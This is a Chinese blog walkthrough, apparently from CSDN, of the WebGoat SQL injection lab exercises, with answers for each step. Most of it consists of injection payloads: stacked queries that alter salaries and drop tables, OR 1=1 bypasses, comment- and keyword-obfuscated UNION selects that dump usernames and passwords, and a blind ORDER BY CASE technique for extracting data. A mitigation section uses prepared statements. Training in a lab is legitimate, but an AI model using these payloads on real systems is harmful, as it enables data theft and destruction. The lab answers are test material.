【webGoat靶场】SQL Injection

目录

SQL

SQL Injection (intro)

SQL Injection (advanced)

SQL Injection (mitigation)


SQL

SQL Injection (intro)

2、

select department from employees where first_name='Bob'; 


3、

update employees set department='Sales' where first_name='Tobi'; 


4、

alter table employees add column phone varchar(20); 


5、

grant insert on grant_rights  to unauthorized_user 


9、


 10、


11、


12、

Smith&auth_tan=3SL99A'; update employees set salary = 999999 where last_name='Smith'; -- +


13、

1' drop table access_log;--+ 

 

SQL Injection (advanced)

3、

Dave' OR 1=1;SELECT * FROM user_system_data;--


5、

先尝试是否可以注册相同的用户名

“Tom”可以注册

"tom"进行注册时,提示该用户已注册

因为tom是对的,所以使用or的话,就永真

tom' or '1'='1

 tom' or '1'='2

考虑使用and

(显示的页面不一样,说明注册中的name处存在注入点)

tom' and 1=1--+

 tom' and 1=2--+

接下来是bp抓包

1、然后保存到1.txt,再使用sqlmap跑

2、使用bp爆破

(不演示了)

tom

thisisasecretfortomonly


6、

43234

SQL Injection (mitigation)

5、

getConnection

PreparedStatement ps

prepareStatement

?

?

ps.setString(1, name);

ps.setString(2, mail)


6、

try{ 
    Connection conn = null;
    conn=DriverManager.getConnection(DBURL,DBUSER,DBPW);
    PreparedStatement ps=conn.prepareStatement("select * from users where name=?");
    ps.setString(1,"zy");
    ResultSet rs=ps.executeQuery(); 
} catch(Exception e){ 
    System.out.println("zeze");
}


9、

1'/**/;/**/select/**/user_name,password/**/from/**/user_system_data;--+

 

1'/**/union/**/select/**/1,user_name,password,'1','2','3',4/**/from/**/user_system_data--+


10、

1'/**/union/**/selselectect/**/1,user_name,password,'1','2','3',4/**/frfromom/**/user_system_data--+

 1'/**/;/**/seselectlect/**/user_name,password/**/frfromom/**/user_system_data;--+


12、

题目提示:

1、获取主机名为webgoat-prd的服务器的IP地址

2、Submit 不存在SQL 注入

3、此题都是排序,肯定和order by有关

点Hostname排序,并抓包

找到了hostname——>column参数值是order by参数

 将hostname改为ip试试

(右侧出现排序结果)

此处被带入查询,使用不存在的列名,查看是否会报错

报出了查询语句

select id, hostname, ip, mac, status, description from servers  where status <> 'out of order' order by 1111

语法:select id, hostname, ip, mac, status, description from servers where status <> ‘out of order’ order by case when (true/false) then hostname else id end

order by后的条件,盲猜字段的每一个字符

when (true/false)真假判断,为true按hostname排序,为false按id排序

对ip进行盲注

ip最多有15位,每一位数是0-9

(case when (substring((select ip from servers where hostname=‘webgoat-prd’),1,1)=1) then hostname else id end)

(case%20when%20((select%20substring(ip,1,1)%20from%20servers%20where%20hostname=%27webgoat-prd%27)=1)%20then%20hostname%20else%20id%20end)

payload1

 payload2

查看回应包,成功排序的说明是我们需要的数值 

104.130.219.202

  • 5
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

黑色地带(崛起)

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值